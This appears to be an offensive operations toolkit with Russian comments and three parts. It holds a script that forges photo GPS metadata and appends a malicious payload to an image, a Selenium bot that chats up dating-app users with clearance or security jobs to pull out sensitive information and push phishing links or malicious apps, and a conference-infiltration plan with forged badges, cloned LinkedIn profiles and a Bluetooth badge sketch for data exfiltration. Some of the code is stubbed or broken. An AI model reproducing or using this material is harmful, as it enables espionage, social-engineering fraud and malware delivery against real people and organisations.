# Скрипт для извлечения метаданных и подмены геолокации в EXIF
from PIL import Image
from PIL.ExifTags import TAGS
import piexif

# 1. Извлечение EXIF из оригинального фото
def extract_exif(image_path):
    image = Image.open(image_path)
    exif_data = {}
    info = image._getexif()
    if info:
        for tag, value in info.items():
            decoded = TAGS.get(tag, tag)
            exif_data[decoded] = value
    return exif_data

# 2. Модификация геолокации
def modify_geolocation(exif_dict, target_lat, target_lon):
    # Конвертация GPS координат в формат EXIF
    lat_ref = 'N' if target_lat >= 0 else 'S'
    lon_ref = 'E' if target_lon >= 0 else 'W'
    lat_value = abs(target_lat)
    lon_value = abs(target_lon)
    
    # Подготовка данных в формате degrees, minutes, seconds
    lat_deg = int(lat_value)
    lat_min = int((lat_value - lat_deg) * 60)
    lat_sec = int(((lat_value - lat_deg) * 60 - lat_min) * 60)
    
    lon_deg = int(lon_value)
    lon_min = int((lon_value - lon_deg) * 60)
    lon_sec = int(((lon_value - lon_deg) * 60 - lon_min) * 60)
    
    # Обновление EXIF
    exif_dict['GPSInfo'] = {
        1: lat_ref,  # GPS latitude ref
        2: ((lat_deg, 1), (lat_min, 1), (lat_sec, 1)),  # GPS latitude
        3: lon_ref,  # GPS longitude ref
        4: ((lon_deg, 1), (lon_min, 1), (lon_sec, 1))   # GPS longitude
    }
    return exif_dict

# 3. Внедрение вредоносного кода в изображение
def inject_payload(image_path, output_path, payload_file):
    # Объединение изображения и вредоносного кода
    with open(image_path, 'rb') as img_file:
        img_data = img_file.read()
    
    with open(payload_file, 'rb') as payload:
        payload_data = payload.read()
    
    # Добавление маркера для последующего извлечения
    combined = img_data + b"PAYLOAD_MARKER" + payload_data
    
    with open(output_path, 'wb') as output:
        output.write(combined)
    
    # Восстановление EXIF после модификации
    exif_bytes = piexif.dump(exif_dict)
    piexif.insert(exif_bytes, output_path)

# Фрагмент кода для автоматизации общения в приложениях знакомств
import random
import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys

# Библиотека ответов для различных сценариев
response_library = {
    "initial_contact": [
        "Привет! Твой профиль меня заинтересовал. Чем занимаешься?",
        "Здравствуй! Редко встречаю людей с похожими интересами. Работаешь в {industry}?",
        "Привет! Я новичок здесь. Ты выделяешься из толпы своим профилем."
    ],
    "work_inquiry": [
        "Звучит интересно! Я тоже работаю в похожей области. Какими проектами занимаешься?",
        "Это должно быть захватывающе! У вас есть доступ к {sensitive_topic}? Мне это так интересно",
        "Вау, я всегда хотел(а) узнать больше о {company}. Как туда попасть?"
    ],
    "build_trust": [
        "Мы так похожи! Я тоже {shared_interest}. Может, обменяемся контактами?",
        "Я недавно был(а) в командировке рядом с твоим городом. Жаль, не знал(а) о тебе раньше",
        "У нас столько общего! Хочешь увидеть мои фото из {location}?"
    ],
    "escalation": [
        "Мне так комфортно с тобой общаться. Может, перейдем в более приватный мессенджер?",
        "У меня есть интересные материалы по {topic}, могу поделиться через {malicious_app}",
        "Я сделал(а) подборку для тебя. Посмотри по ссылке: {phishing_url}"
    ]
}

# Определение целевых профилей по ключевым словам
target_keywords = ["cybersecurity", "classified", "clearance", "access", "developer",
                 "engineer", "government", "research", "proprietary", "confidential"]

def automate_conversation(driver, target_profile, industry_context):
    # Открыть диалог с целевым профилем
    driver.get(f"https://dating-app.com/messages/{target_profile}")
    message_input = driver.find_element_by_id("message-composer")
    
    # Инициировать контакт
    initial_message = random.choice(response_library["initial_contact"])
    initial_message = initial_message.replace("{industry}", industry_context)
    message_input.send_keys(initial_message)
    message_input.send_keys(Keys.RETURN)
    
    # Симулировать человеческое поведение
    time.sleep(random.randint(60, 180))
    
    # Мониторинг ответов и адаптация стратегии
    conversation_stage = "initial"
    while True:
        new_messages = driver.find_elements_by_class_name("new-message")
        if new_messages:
            latest_message = new_messages[-1].text
            
            # Анализ ответа и выбор следующего шага
            if any(keyword in latest_message.lower() for keyword in ["работа", "job", "компания", "company"]):
                conversation_stage = "work_inquiry"
            elif any(keyword in latest_message.lower() for keyword in ["интерес", "хобби", "увлечения"]):
                conversation_stage = "build_trust"
            elif any(keyword in latest_message.lower() for keyword in ["контакт", "номер", "встреча"]):
                conversation_stage = "escalation"
            
            # Отправка соответствующего ответа
            response = random.choice(response_library[conversation_stage])
            # Персонализация ответа на основе собранной информации
            response = personalize_message(response, target_profile)
            
            message_input.send_keys(response)
            message_input.send_keys(Keys.RETURN)
            
            # Регистрация собранной информации
            log_information(target_profile, latest_message, conversation_stage)
            
            # Пауза для естественности
            time.sleep(random.randint(120, 300))

# Сценарий для физического внедрения на корпоративное мероприятие

1. Предварительная разведка
   $ osint.py --target "Company Tech Conference" --date "2025-10-15" --location "Tech Convention Center"
   $ social_mapper.py --company "Target Corp" --platform linkedin,facebook --output employees.json

2. Создание поддельных учетных данных
   $ badge_generator.py --template "Tech Conference 2025" --name "Alex Morgan" --position "Senior Consultant" --company "Industry Partner"
   $ fake_linkedin.py --clone employees.json --create-profile "Alex Morgan" --industry-background "Cybersecurity Consulting"

3. Скрипт для эксфильтрации данных при физическом контакте
   // Код для Bluetooth-сканера в значке участника
   #include <Arduino.h>
   #include <SPI.h>
   #include <BLEPeripheral.h>
   
   BLEPeripheral blePeripheral;
   BLEService dataService("1234");
   BLECharacteristic dataCharacteristic("5678", BLERead | BLEWrite, 20);
   
   void setup() {
     blePeripheral.setLocalName("Conference_Badge");
     blePeripheral.setDeviceName("Smart_Badge");
     blePeripheral.setAdvertisedServiceUuid(dataService.uuid());
     
     blePeripheral.addAttribute(dataService);
     blePeripheral.addAttribute(dataCharacteristic);
     
     blePeripheral.begin();
   }
   
   void loop() {
     BLECentral central = blePeripheral.central();
     if (central) {
       while (central.connected()) {
         if (dataCharacteristic.written()) {
           // Получение данных с устройств в радиусе действия
           // и передача на контрольный сервер
         }
       }
     }
   }